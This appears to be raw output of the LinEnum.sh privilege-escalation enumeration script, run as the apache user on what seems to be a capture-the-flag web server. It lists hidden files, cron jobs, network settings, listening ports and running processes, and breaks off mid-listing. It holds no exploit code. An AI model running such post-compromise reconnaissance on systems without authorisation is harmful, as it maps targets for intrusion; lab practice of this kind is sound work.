-rw-r--r-- 1 apache apache 8102 May 11 16:08 /var/www/html/buynow.php
-rwxrw-r-x 1 apache apache 46631 Jul 15 02:30 /var/www/html/LinEnum.sh
-rw-r--r-- 1 apache apache 6764 Jul 15 02:35 /var/www/html/report-15-07-20
-rw-r--r--. 1 apache apache 21 May 10 11:22 /var/www/flag1.txt

[-] Hidden files:
-rw-r--r--. 1 root root 166 Dec 4 2019 /boot/.vmlinuz-4.18.0-147.el8.x86_64.hmac
-rw-r--r--. 1 root root 172 Apr 9 14:56 /boot/.vmlinuz-4.18.0-147.8.1.el8_1.x86_64.hmac
-rw-r--r-- 1 root root 0 Jul 15 00:07 /run/initramfs/.need_shutdown
-rw-------. 1 root root 0 May 9 14:06 /etc/.pwd.lock
-rw-r--r--. 1 root root 18 Nov 8 2019 /etc/skel/.bash_logout
-rw-r--r--. 1 root root 141 Nov 8 2019 /etc/skel/.bash_profile
-rw-r--r--. 1 root root 312 Nov 8 2019 /etc/skel/.bashrc

-rw-r--r--. 1 root root 129 Nov 12 2019 /etc/selinux/targeted/.policy.sha512
-rw-r--r--. 1 root root 208 May 9 14:04 /etc/.updated
-rw-r--r--. 1 root root 0 May 9 14:03 /var/lib/rpm/.dbenv.lock
-rw-r--r--. 1 root root 0 May 9 14:03 /var/lib/rpm/.rpm.lock
-rw-r--r--. 1 root root 0 May 9 15:05 /var/cache/dnf/.gpgkeyschecked.yum
-rw-r--r--. 1 root root 208 May 9 14:04 /var/.updated
-rw-r--r--. 1 apache apache 208 May 10 10:25 /var/www/html/_admin/.browserslistrc
-rw-r--r--. 1 apache apache 13 May 10 10:25 /var/www/html/_admin/.gitignore
-rw-r--r--. 1 apache apache 158 May 10 10:25 /var/www/html/_admin/.travis.yml
-rw-r--r--. 1 root root 166 Dec 4 2019 /usr/lib/modules/4.18.0-147.el8.x86_64/.vmlinuz.hmac
-rw-r--r--. 1 root root 172 Apr 9 14:56
/usr/lib/modules/4.18.0-147.8.1.el8_1.x86_64/.vmlinuz.hmac
-rw-r--r--. 1 root root 65 May 11 2019 /usr/lib64/.libcrypt.so.1.1.0.hmac
-rw-r--r--. 1 root root 65 Nov 8 2019 /usr/lib64/.libgcrypt.so.20.hmac
-rw-r--r--. 1 root root 65 May 11 2019 /usr/lib64/.libhogweed.so.4.5.hmac
-rw-r--r--. 1 root root 65 May 11 2019 /usr/lib64/.libnettle.so.6.5.hmac
-rw-r--r--. 1 root root 65 Apr 9 20:06 /usr/lib64/.libcrypto.so.1.1.1c.hmac
-rw-r--r--. 1 root root 65 Apr 9 20:06 /usr/lib64/.libssl.so.1.1.1c.hmac
-rw-r--r--. 1 root root 65 Nov 11 2019 /usr/lib64/.libgnutls.so.30.24.0.hmac
-rw-r--r--. 1 root root 36 May 9 14:07 /usr/share/fonts/abattis-cantarell/.uuid
-rw-r--r--. 1 root root 36 May 9 14:07 /usr/share/fonts/.uuid
-rw-r--r--. 1 root root 40 Nov 8 2019 /usr/share/man/man1/..1.gz
-rw-r--r--. 1 root root 42 Nov 8 2019 /usr/share/man/man5/.k5identity.5.gz
-rw-r--r--. 1 root root 39 Nov 8 2019 /usr/share/man/man5/.k5login.5.gz
-rw-r--r-- 1 root root 0 May 10 11:58 /.autorelabel

[-] Home directory contents:
total 24K
drwxr-xr-x.   5 root root   47 May 9 15:05 .
drwxr-xr-x. 127 root root 4.0K May 9 18:16 ..
drwxr-xr-x.   3 root root 4.0K May 9 15:05 error
drwxr-xr-x.   3 root root 8.0K May 9 15:38 icons
drwxr-xr-x.   3 root root 140 May 9 15:05 noindex

ENVIRONMENTAL
[-] Environment information:
USER=apache
PWD=/var/www/html
HOME=/usr/share/httpd
SHLVL=2
_=/usr/bin/env

[-] Path information:
/usr/local/bin:/usr/bin
dr-xr-xr-x. 2 root root 32768 May 9 19:32 /usr/bin

drwxr-xr-x. 2 root root   6 May 11 2019 /usr/local/bin

[-] Available shells:
/bin/sh
/bin/bash
/usr/bin/sh
/usr/bin/bash

[-] Current umask value:
0022
u=rwx,g=rx,o=rx

[-] umask value as specified in /etc/login.defs:
UMASK   077

[-] Password and storage information:
PASS_MAX_DAYS   99999
PASS_MIN_DAYS   0
PASS_WARN_AGE   7
ENCRYPT_METHOD SHA512

JOBS/TASKS
[-] Cron jobs:
-rw-r--r--. 1 root root   0 Nov 8 2019 /etc/cron.deny
-rw-r--r--. 1 root root 451 May 11 2019 /etc/crontab

/etc/cron.d:
total 20
drwxr-xr-x.   2 root root   39 May 10 11:51 .
drwxr-xr-x. 109 root root 8192 Jul 15 00:07 ..
-rw-r--r--.   1 root root 128 Nov 8 2019 0hourly
-rw-r--r--.   1 root root 108 Nov 8 2019 raid-check

/etc/cron.daily:
total 20
drwxr-xr-x.   2 root root   36 May 10 11:07 .
drwxr-xr-x. 109 root root 8192 Jul 15 00:07 ..
-rwx------.   1 root root 3325 Jul 15 2019 csget
-rwxr-xr-x.   1 root root 189 Jan 4 2018 logrotate

/etc/cron.hourly:
total 16
drwxr-xr-x.   2 root root   22 May 9 14:08 .

```
drwxr-xr-x. 109 root root 8192 Jul 15 00:07 ..
-rwxr-xr-x.   1 root root  575 Nov  8  2019 0anacron

/etc/cron.monthly:
total 12
drwxr-xr-x.   2 root root    6 May 11  2019 .
drwxr-xr-x. 109 root root 8192 Jul 15 00:07 ..

/etc/cron.weekly:
total 12
drwxr-xr-x.   2 root root    6 May 11  2019 .
drwxr-xr-x. 109 root root 8192 Jul 15 00:07 ..


[-] Crontab contents:
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root

# For details see man 4 crontabs

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name  command to be executed


[-] Anacron jobs and associated file permissions:
-rw-r--r--. 1 root root 541 Nov  8  2019 /etc/anacrontab
# /etc/anacrontab: configuration file for anacron

# See anacron(8) and anacrontab(5) for details.

SHELL=/bin/sh
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
# the maximal random delay added to the base delay of the jobs
RANDOM_DELAY=45
# the jobs will be started during the following hours only
START_HOURS_RANGE=3-22

#period in days   delay in minutes   job-identifier   command
1       5       cron.daily              nice run-parts /etc/cron.daily
7       25      cron.weekly             nice run-parts /etc/cron.weekly
```

@monthly 45 cron.monthly nice run-parts /etc/cron.monthly

[-] When were jobs last executed (/var/spool/anacron contents):
total 4
drwxr-xr-x. 2 root root 63 May 9 14:08 .
drwxr-xr-x. 9 root root 97 May 9 14:10 ..
-rw-------. 1 root root 9 May 9 15:41 cron.daily
-rw-------. 1 root root 0 May 9 14:08 cron.monthly
-rw-------. 1 root root 0 May 9 14:08 cron.weekly

[-] Systemd timers:
NEXT LEFT LAST PASSED UNIT ACTIVATES
Wed 2020-07-15 03:17:12 BST 41min left Wed 2020-07-15 02:17:11 BST 18min ago dnf-makecache.timer dnf-makecache.service
Thu 2020-07-16 00:00:00 BST 21h left Wed 2020-07-15 00:00:02 BST 2h 35min ago unbound-anchor.timer unbound-anchor.service
Thu 2020-07-16 00:22:04 BST 21h left Wed 2020-07-15 00:22:04 BST 2h 13min ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service

3 timers listed.

NETWORKING
[-] Network and IP info:
enp0s3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
        inet 192.168.1.28 netmask 255.255.255.0 broadcast 192.168.1.255
        inet6 2a01:e35:2fef:d7e0:6e23:8bdf:3142:f51f prefixlen 64 scopeid 0x0<global>
        inet6 fe80::be27:698c:76fc:49ec prefixlen 64 scopeid 0x20<link>
        ether 08:00:27:c8:0c:11 txqueuelen 1000 (Ethernet)
        RX packets 572243 bytes 108920245 (103.8 MiB)
        RX errors 0 dropped 0 overruns 0 frame 0
        TX packets 538281 bytes 108609988 (103.5 MiB)
        TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

enp0s8: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
        ether 08:00:27:44:9f:65 txqueuelen 1000 (Ethernet)
        RX packets 0 bytes 0 (0.0 B)
        RX errors 0 dropped 0 overruns 0 frame 0
        TX packets 0 bytes 0 (0.0 B)
        TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
        inet 127.0.0.1 netmask 255.0.0.0
        inet6 ::1 prefixlen 128 scopeid 0x10<host>
        loop txqueuelen 1000 (Local Loopback)

```
        RX packets 62627  bytes 305012261 (290.8 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 62627  bytes 305012261 (290.8 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

virbr0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        inet 192.168.122.1  netmask 255.255.255.0  broadcast 192.168.122.255
        ether 52:54:00:aa:74:48  txqueuelen 1000  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

virbr0-nic: flags=4098<BROADCAST,MULTICAST>  mtu 1500
        ether 52:54:00:aa:74:48  txqueuelen 1000  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0


[-] Nameserver(s):
nameserver 192.168.1.254
nameserver fd0f:ee:b0::1


[-] Nameserver(s):
Global
       LLMNR setting: yes
MulticastDNS setting: yes
  DNSOverTLS setting: no
      DNSSEC setting: allow-downgrade
    DNSSEC supported: yes
  Current DNS Server: 192.168.1.254
         DNS Servers: 192.168.1.254
                      fd0f:ee:b0::1
          DNSSEC NTA: 10.in-addr.arpa
                      16.172.in-addr.arpa
                      168.192.in-addr.arpa
                      17.172.in-addr.arpa
                      18.172.in-addr.arpa
                      19.172.in-addr.arpa
                      20.172.in-addr.arpa
                      21.172.in-addr.arpa
                      22.172.in-addr.arpa
                      23.172.in-addr.arpa
                      24.172.in-addr.arpa
                      25.172.in-addr.arpa
```

```
                26.172.in-addr.arpa
                27.172.in-addr.arpa
                28.172.in-addr.arpa
                29.172.in-addr.arpa
                30.172.in-addr.arpa
                31.172.in-addr.arpa
                corp
                d.f.ip6.arpa
                home
                internal
                intranet
                lan
                local
                private
                test

Link 5 (virbr0-nic)
      Current Scopes: none
       LLMNR setting: yes
MulticastDNS setting: no
  DNSOverTLS setting: no
      DNSSEC setting: allow-downgrade
    DNSSEC supported: yes

Link 4 (virbr0)
      Current Scopes: none
       LLMNR setting: yes
MulticastDNS setting: no
  DNSOverTLS setting: no
      DNSSEC setting: allow-downgrade
    DNSSEC supported: yes

Link 3 (enp0s8)
      Current Scopes: none
       LLMNR setting: yes
MulticastDNS setting: no
  DNSOverTLS setting: no
      DNSSEC setting: allow-downgrade
    DNSSEC supported: yes

Link 2 (enp0s3)
      Current Scopes: DNS LLMNR/IPv4 LLMNR/IPv6
       LLMNR setting: yes
MulticastDNS setting: no
  DNSOverTLS setting: no
      DNSSEC setting: allow-downgrade
    DNSSEC supported: yes
  Current DNS Server: 192.168.1.254
```

```
        DNS Servers: 192.168.1.254
                     fd0f:ee:b0::1
         DNS Domain: ~.


[-] Listening TCP:
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program
name
tcp        0      0 0.0.0.0:5355            0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      -
tcp        0      0 192.168.122.1:53        0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN      -
tcp6       0      0 :::3306                 :::*                    LISTEN      -
tcp6       0      0 :::5355                 :::*                    LISTEN      -
tcp6       0      0 :::111                  :::*                    LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -


[-] Listening UDP:
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program
name
udp        0      0 0.0.0.0:5355            0.0.0.0:*                           -
udp        0      0 127.0.0.1:323           0.0.0.0:*                           -
udp        0      0 192.168.122.1:53        0.0.0.0:*                           -
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -
udp        0      0 0.0.0.0:67              0.0.0.0:*                           -
udp        0      0 192.168.1.28:68         0.0.0.0:*                           -
udp        0      0 0.0.0.0:111             0.0.0.0:*                           -
udp6       0      0 :::5355                 :::*                                -
udp6       0      0 ::1:323                 :::*                                -
udp6       0      0 :::111                  :::*                                -


### SERVICES #############################################
[-] Running processes:
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  1.0 241956  9136 ?        Ss   00:07   0:01 /usr/lib/systemd/systemd
--switched-root --system --deserialize 18
root           2  0.0  0.0      0     0 ?        S    00:07   0:00 [kthreadd]
root           3  0.0  0.0      0     0 ?        I<   00:07   0:00 [rcu_gp]
root           4  0.0  0.0      0     0 ?        I<   00:07   0:00 [rcu_par_gp]
root           6  0.0  0.0      0     0 ?        I<   00:07   0:00 [kworker/0:0H-kblockd]
root           7  0.0  0.0      0     0 ?        I    00:07   0:00 [kworker/u8:0-flush-253:0]
root           8  0.0  0.0      0     0 ?        I<   00:07   0:00 [mm_percpu_wq]
```

```
root       9  0.0  0.0      0     0 ?        S    00:07   0:00 [ksoftirqd/0]
root      10  0.0  0.0      0     0 ?        I    00:07   0:02 [rcu_sched]
root      11  0.0  0.0      0     0 ?        S    00:07   0:00 [migration/0]
root      12  0.0  0.0      0     0 ?        S    00:07   0:00 [watchdog/0]
root      13  0.0  0.0      0     0 ?        S    00:07   0:00 [cpuhp/0]
root      14  0.0  0.0      0     0 ?        S    00:07   0:00 [cpuhp/1]
root      15  0.0  0.0      0     0 ?        S    00:07   0:00 [watchdog/1]
root      16  0.0  0.0      0     0 ?        S    00:07   0:00 [migration/1]
root      17  0.0  0.0      0     0 ?        S    00:07   0:00 [ksoftirqd/1]
root      19  0.0  0.0      0     0 ?        I<   00:07   0:00 [kworker/1:0H-kblockd]
root      20  0.0  0.0      0     0 ?        S    00:07   0:00 [cpuhp/2]
root      21  0.0  0.0      0     0 ?        S    00:07   0:00 [watchdog/2]
root      22  0.0  0.0      0     0 ?        S    00:07   0:00 [migration/2]
root      23  0.0  0.0      0     0 ?        S    00:07   0:00 [ksoftirqd/2]
root      24  0.0  0.0      0     0 ?        I    00:07   0:00 [kworker/2:0-cgroup_pidlist_destroy]
root      25  0.0  0.0      0     0 ?        I<   00:07   0:00 [kworker/2:0H-kblockd]
root      26  0.0  0.0      0     0 ?        S    00:07   0:00 [cpuhp/3]
root      27  0.0  0.0      0     0 ?        S    00:07   0:00 [watchdog/3]
root      28  0.0  0.0      0     0 ?        S    00:07   0:00 [migration/3]
root      29  0.0  0.0      0     0 ?        S    00:07   0:00 [ksoftirqd/3]
root      31  0.0  0.0      0     0 ?        I<   00:07   0:00 [kworker/3:0H-kblockd]
root      33  0.0  0.0      0     0 ?        S    00:07   0:00 [kdevtmpfs]
root      34  0.0  0.0      0     0 ?        I<   00:07   0:00 [netns]
root      35  0.0  0.0      0     0 ?        S    00:07   0:00 [kauditd]
root      37  0.0  0.0      0     0 ?        S    00:07   0:00 [khungtaskd]
root      38  0.0  0.0      0     0 ?        S    00:07   0:00 [oom_reaper]
root      39  0.0  0.0      0     0 ?        I<   00:07   0:00 [writeback]
root      40  0.0  0.0      0     0 ?        S    00:07   0:00 [kcompactd0]
root      41  0.0  0.0      0     0 ?        SN   00:07   0:00 [ksmd]
root      42  0.0  0.0      0     0 ?        SN   00:07   0:00 [khugepaged]
root      43  0.0  0.0      0     0 ?        I<   00:07   0:00 [crypto]
root      44  0.0  0.0      0     0 ?        I<   00:07   0:00 [kintegrityd]
root      45  0.0  0.0      0     0 ?        I<   00:07   0:00 [kblockd]
root      46  0.0  0.0      0     0 ?        I<   00:07   0:00 [tpm_dev_wq]
root      47  0.0  0.0      0     0 ?        I<   00:07   0:00 [md]
root      48  0.0  0.0      0     0 ?        I<   00:07   0:00 [edac-poller]
root      49  0.0  0.0      0     0 ?        S    00:07   0:00 [watchdogd]
root      68  0.0  0.0      0     0 ?        S    00:07   0:00 [kswapd0]
root     161  0.0  0.0      0     0 ?        I<   00:07   0:00 [kthrotld]
root     162  0.0  0.0      0     0 ?        I<   00:07   0:00 [acpi_thermal_pm]
root     163  0.0  0.0      0     0 ?        I<   00:07   0:00 [kmpath_rdacd]
root     164  0.0  0.0      0     0 ?        I<   00:07   0:00 [kaluad]
root     166  0.0  0.0      0     0 ?        I<   00:07   0:00 [ipv6_addrconf]
root     167  0.0  0.0      0     0 ?        I<   00:07   0:00 [kstrp]
root     293  0.0  0.0      0     0 ?        I    00:07   0:02 [kworker/0:4-events]
root     458  0.0  0.0      0     0 ?        I    00:07   0:00 [kworker/3:3-cgroup_destroy]
root     462  0.0  0.0      0     0 ?        I<   00:07   0:00 [ata_sff]
root     469  0.0  0.0      0     0 ?        S    00:07   0:00 [scsi_eh_0]
```

```
root       471  0.0  0.0      0     0 ?        I<   00:07   0:00 [scsi_tmf_0]
root       474  0.0  0.0      0     0 ?        I    00:07   0:00 [kworker/u8:2-flush-8:0]
root       476  0.0  0.0      0     0 ?        S    00:07   0:00 [scsi_eh_1]
root       477  0.0  0.0      0     0 ?        I<   00:07   0:00 [scsi_tmf_1]
root       478  0.0  0.0      0     0 ?        S    00:07   0:00 [scsi_eh_2]
root       479  0.0  0.0      0     0 ?        I<   00:07   0:00 [scsi_tmf_2]
root       505  0.0  0.0      0     0 ?        S    00:07   0:00 [irq/18-vmwgfx]
root       506  0.0  0.0      0     0 ?        I<   00:07   0:00 [ttm_swap]
root       510  0.0  0.0      0     0 ?        I<   00:07   0:00 [kworker/0:1H-kblockd]
root       575  0.0  0.0      0     0 ?        I<   00:07   0:00 [kdmflush]
root       584  0.0  0.0      0     0 ?        I<   00:07   0:00 [kdmflush]
root       601  0.0  0.0      0     0 ?        I    00:07   0:01 [kworker/3:4-events_power_efficient]
root       607  0.0  0.0      0     0 ?        I<   00:07   0:00 [xfsalloc]
root       609  0.0  0.0      0     0 ?        I<   00:07   0:00 [xfs_mru_cache]
root       613  0.0  0.0      0     0 ?        I<   00:07   0:00 [xfs-buf/dm-0]
root       614  0.0  0.0      0     0 ?        I<   00:07   0:00 [xfs-data/dm-0]
root       615  0.0  0.0      0     0 ?        I<   00:07   0:00 [xfs-conv/dm-0]
root       617  0.0  0.0      0     0 ?        I<   00:07   0:00 [xfs-cil/dm-0]
root       618  0.0  0.0      0     0 ?        I<   00:07   0:00 [xfs-reclaim/dm-]
root       619  0.0  0.0      0     0 ?        I<   00:07   0:00 [xfs-log/dm-0]
root       620  0.0  0.0      0     0 ?        I<   00:07   0:00 [xfs-eofblocks/d]
root       621  0.0  0.0      0     0 ?        S    00:07   0:01 [xfsaild/dm-0]
root       622  0.0  0.0      0     0 ?        I<   00:07   0:00 [kworker/3:1H-kblockd]
root       717  0.0  0.8  90616  7264 ?        Ss   00:07   0:00 /usr/lib/systemd/systemd-journald
root       738  0.0  0.0      0     0 ?        I<   00:07   0:00 [kworker/1:1H-xfs-log/dm-0]
root       751  0.0  0.9 107520  7636 ?        Ss   00:07   0:00 /usr/lib/systemd/systemd-udevd
root       778  0.0  0.0      0     0 ?        I<   00:07   0:00 [kworker/2:1H-kblockd]
root       846  0.0  0.0      0     0 ?        S    00:07   0:00 [jbd2/sda1-8]
root       847  0.0  0.0      0     0 ?        I<   00:07   0:00 [ext4-rsv-conver]
rpc        865  0.0  0.5  66468  4880 ?        Ss   00:07   0:00 /usr/bin/rpcbind -w -f
root       869  0.0  0.2 149348  2156 ?        S<sl 00:07   0:00 /sbin/auditd
root       871  0.0  0.2  47848  2016 ?        S<   00:07   0:00 /usr/sbin/sedispatch
root       882  0.0  0.0      0     0 ?        I<   00:07   0:00 [rpciod]
root       883  0.0  0.0      0     0 ?        I<   00:07   0:00 [kworker/u9:0]
root       884  0.0  0.0      0     0 ?        I<   00:07   0:00 [xprtiod]
root       898  0.0  0.5 124708  4512 ?        Ssl  00:07   0:00 /usr/sbin/irqbalance --foreground
dbus       899  0.0  0.5  73728  4948 ?        Ss   00:07   0:00 /usr/bin/dbus-daemon --system
--address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
root       900  0.0  0.4  26364  3880 ?        Ss   00:07   0:00 /usr/sbin/smartd -n -q never
chrony     903  0.0  0.3 127512  2756 ?        S    00:07   0:00 /usr/sbin/chronyd
root       904  0.0  0.2  17408  2032 ?        Ss   00:07   0:00 /usr/sbin/mcelog --ignorenodev
--daemon --foreground
root       905  0.0  0.7  83076  6412 ?        Ss   00:07   0:00
/usr/lib/systemd/systemd-machined
libstor+   907  0.0  0.2  18872  1880 ?        Ss   00:07   0:00 /usr/bin/lsmd -d
root       909  0.0  1.3 211164 11648 ?        Ss   00:07   0:00 /usr/sbin/sssd -i --logger=files
root       912  0.0  0.6 381404  5308 ?        Ssl  00:07   0:07 /sbin/rngd -f
```

```
polkitd    914  0.0  1.7 1763368 14592 ?       Ssl  00:07   0:00 /usr/lib/polkit-1/polkitd
--no-debug
root       920  0.0  0.2  25244  2132 ?        S    00:07   0:00 /bin/bash /usr/sbin/ksmtuned
root       922  0.0  0.3 101736  3012 ?        Ssl  00:07   0:00 /usr/sbin/gssproxy -D
root       939  0.0  1.5 217928 12680 ?        S    00:07   0:00 /usr/libexec/sssd/sssd_be
--domain implicit_files --uid 0 --gid 0 --logger=files
root       942  0.0  3.6 267208 30324 ?        Ssl  00:07   0:01 /usr/libexec/platform-python -s
/usr/sbin/firewalld --nofork --nopid
root       943  0.0  1.5 220672 12804 ?        S    00:07   0:00 /usr/libexec/sssd/sssd_nss --uid
0 --gid 0 --logger=files
root       948  0.0  0.8  95740  7152 ?        Ss   00:07   0:00 /usr/lib/systemd/systemd-logind
root       960  0.0  1.5 389540 13428 ?        Ssl  00:07   0:00 /usr/sbin/NetworkManager
--no-daemon
root       967  0.0  2.0 195584 16976 ?        Ss   00:07   0:00 php-fpm: master process
(/etc/php-fpm.conf)
root       968  0.0  0.7  92312  6124 ?        Ss   00:07   0:00 /usr/sbin/sshd -D
-oCiphers=aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes2
56-cbc,aes128-gcm@openssh.com,aes128-ctr,aes128-cbc
-oMACs=hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-128-etm
@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha1,umac-128
@openssh.com,hmac-sha2-512
-oGSSAPIKexAlgorithms=gss-gex-sha1-,gss-group14-sha1-
-oKexAlgorithms=curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,
ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellma
n-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellm
an-group-exchange-sha1,diffie-hellman-group14-sha1
-oHostKeyAlgorithms=rsa-sha2-256,rsa-sha2-256-cert-v01@openssh.com,ecdsa-sha2-nistp
256,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384,ecdsa-sha2-nistp38
4-cert-v01@openssh.com,rsa-sha2-512,rsa-sha2-512-cert-v01@openssh.com,ecdsa-sha2-n
istp521,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519,ssh-ed25519-cert-v01@
openssh.com,ssh-rsa,ssh-rsa-cert-v01@openssh.com
-oPubkeyAcceptedKeyTypes=rsa-sha2-256,rsa-sha2-256-cert-v01@openssh.com,ecdsa-sh
a2-nistp256,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384,ecdsa-sha2-
nistp384-cert-v01@openssh.com,rsa-sha2-512,rsa-sha2-512-cert-v01@openssh.com,ecdsa
-sha2-nistp521,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519,ssh-ed25519-cer
t-v01@openssh.com,ssh-rsa,ssh-rsa-cert-v01@openssh.com
-oCASignatureAlgorithms=rsa-sha2-256,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,rsa-sha2
-512,ecdsa-sha2-nistp521,ssh-ed25519,ssh-rsa
root       971  0.0  3.0 1825764 25844 ?       Ssl  00:07   0:00 /usr/sbin/libvirtd
root       973  0.0  1.0 280216  8764 ?        Ss   00:07   0:00 /usr/sbin/httpd
-DFOREGROUND
root       974  0.0  2.6 424308 22672 ?        Ssl  00:07   0:01 /usr/libexec/platform-python -Es
/usr/sbin/tuned -l -P
root       989  0.0  0.2  42620  2396 ?        Ss   00:07   0:00 /usr/sbin/atd -f
root       991  0.0  0.3  36088  3080 ?        Ss   00:07   0:00 /usr/sbin/crond -n
root       998  0.0  0.6 120944  5540 ?        S    00:07   0:00 /usr/sbin/CROND -n
root      1002  0.0  0.1  13100  1632 tty1     Ss+  00:07   0:00 /sbin/agetty -o -p -- \u --noclear
tty1 linux
```

```
root      1015  0.0  0.9  93236  8152 ?        Ss   00:07   0:00 /usr/lib/systemd/systemd --user
root      1017  0.0  0.1 154524  1548 ?        S    00:07   0:00 (sd-pam)
apache    1049  1.7  1.8 210552 15336 ?        S    00:07   2:38 php-fpm: pool www
apache    1050  1.7  2.3 214628 19504 ?        S    00:07   2:38 php-fpm: pool www
apache    1051  1.7  2.0 212448 17384 ?        S    00:07   2:37 php-fpm: pool www
apache    1053  1.7  2.3 214652 19452 ?        S    00:07   2:38 php-fpm: pool www
apache    1054  1.7  2.0 212448 17384 ?        S    00:07   2:38 php-fpm: pool www
root      1055  0.0  2.2 110884 19264 ?        Ss   00:07   0:03 python2 /scripts/xss.py
apache    1057  0.0  0.7 292432  6304 ?        S    00:07   0:00 /usr/sbin/httpd
-DFOREGROUND
apache    1059  0.0  1.3 2529908 11584 ?       Sl   00:07   0:07 /usr/sbin/httpd
-DFOREGROUND
apache    1060  0.0  1.4 2726580 12224 ?       Sl   00:07   0:06 /usr/sbin/httpd
-DFOREGROUND
apache    1061  0.0  1.2 2529908 10120 ?       Sl   00:07   0:08 /usr/sbin/httpd
-DFOREGROUND
mysql     1343  0.0  9.2 2058892 77824 ?       Ssl  00:07   0:06 /usr/libexec/mysqld
--basedir=/usr
systemd+  1831  0.0  0.9 112296  8120 ?        Ss   00:07   0:00
/usr/lib/systemd/systemd-resolved
dnsmasq   1973  0.0  0.2  71364  2476 ?        S    00:07   0:00 /usr/sbin/dnsmasq
--conf-file=/var/lib/libvirt/dnsmasq/default.conf --leasefile-ro
--dhcp-script=/usr/libexec/libvirt_leaseshelper
root      1975  0.0  0.0  71228   408 ?        S    00:07   0:00 /usr/sbin/dnsmasq
--conf-file=/var/lib/libvirt/dnsmasq/default.conf --leasefile-ro
--dhcp-script=/usr/libexec/libvirt_leaseshelper
root      2004  0.0  0.4 214324  3832 ?        Ssl  00:07   0:00 /usr/sbin/rsyslogd -n
root      2292  4.2  9.7 2666332 81892 ?       Sl   00:09   6:11 phantomjs
--cookies-file=/tmp/tmp683twt --webdriver=443
apache    2339  1.7  2.0 212584 17404 ?        S    00:11   2:35 php-fpm: pool www
apache    2340  0.0  1.8 2529908 15668 ?       Sl   00:11   0:07 /usr/sbin/httpd
-DFOREGROUND
root      2466  0.0  0.0      0     0 ?        I    00:17   0:02 [kworker/2:3-events]
apache    2987  3.1  1.8 210400 15364 ?        S    01:14   2:31 php-fpm: pool www
root      3603  0.0  0.0      0     0 ?        I    02:17   0:00 [kworker/0:1-events]
root      3636  0.0  0.0      0     0 ?        I    02:20   0:00 [kworker/1:1-kdmflush]
root      3687  0.0  0.0      0     0 ?        I    02:26   0:00 [kworker/1:0-xfs-cil/dm-0]
root      3748  0.0  0.0      0     0 ?        I    02:31   0:00 [kworker/1:2-events]
root      3879  0.0  0.0      0     0 ?        I    02:33   0:00 [kworker/2:1-events]
root      3884  0.0  0.0      0     0 ?        I    02:33   0:00 [kworker/1:3-kdmflush]
root      4670  0.0  0.0      0     0 ?        I    02:33   0:00 [kworker/3:0-cgroup_pidlist_destroy]
root      4671  0.0  0.0      0     0 ?        I    02:33   0:00 [kworker/3:1-cgroup_destroy]
root      4672  0.0  0.0      0     0 ?        I    02:33   0:00 [kworker/3:2]
root      5573  0.0  0.0      0     0 ?        I    02:34   0:00 [kworker/2:2-events]
apache    5575  0.0  0.4  20852  3736 ?        S    02:35   0:00 /bin/bash ./LinEnum.sh -t -r
report
apache    5577  0.0  0.3  21140  3148 ?        S    02:35   0:00 /bin/bash ./LinEnum.sh -t -r
report
```

```
apache    5578  0.0  0.0   4356   816 ?        S    02:35   0:00 tee -a report-15-07-20
root      5587  0.0  0.0   7280   712 ?        S    02:35   0:00 sleep 60
root      5666  0.2  1.1 169672  9344 ?        Ssl  02:35   0:00 /usr/libexec/fprintd
apache    6174  0.0  0.3  21140  3020 ?        S    02:35   0:00 /bin/bash ./LinEnum.sh -t -r
report
apache    6175  0.0  0.4  54256  3548 ?        R    02:35   0:00 ps aux
```

[-] Process binaries and associated permissions (from above list):

```
-rwxr-xr-x. 1 root root  1219248 Nov  8  2019 /bin/bash
-rwxr-xr-x. 1 root root    75416 Nov  8  2019 /sbin/agetty
